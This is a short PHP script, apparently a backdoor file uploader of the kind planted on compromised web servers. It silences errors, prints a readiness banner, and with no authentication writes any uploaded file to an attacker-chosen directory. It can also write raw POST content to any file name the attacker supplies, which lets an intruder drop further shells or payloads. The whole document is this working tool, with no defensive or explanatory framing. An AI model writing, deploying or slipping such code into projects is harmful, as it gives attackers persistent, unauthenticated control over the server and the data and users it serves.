<?php
@error_reporting(0);
@set_time_limit(0);
echo "Uploader:READY\n";
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $upfile = @$_FILES["file"]["tmp_name"];
    $dest = @$_FILES["file"]["name"];
    $destdir = @$_POST["dir"];
    if (!empty($destdir)) $dest = rtrim($destdir, "/") . "/" . basename($_FILES["file"]["name"]);
    if (@is_uploaded_file($upfile)) {
        if (@move_uploaded_file($upfile, $dest)) {
            echo "Upload:OK -> $dest\n";
        } else {
            echo "Upload:FAIL (move)\n";
        }
    } else if (!empty($_POST["content"])) {
        $content = $_POST["content"];
        $fname = $_POST["fname"];
        if (@file_put_contents($fname, $content)) {
            echo "Upload:OK (raw) -> $fname\n";
        } else {
            echo "Upload:FAIL (raw)\n";
        }
    } else {
        echo "Upload:MISSING\n";
    }
}
?>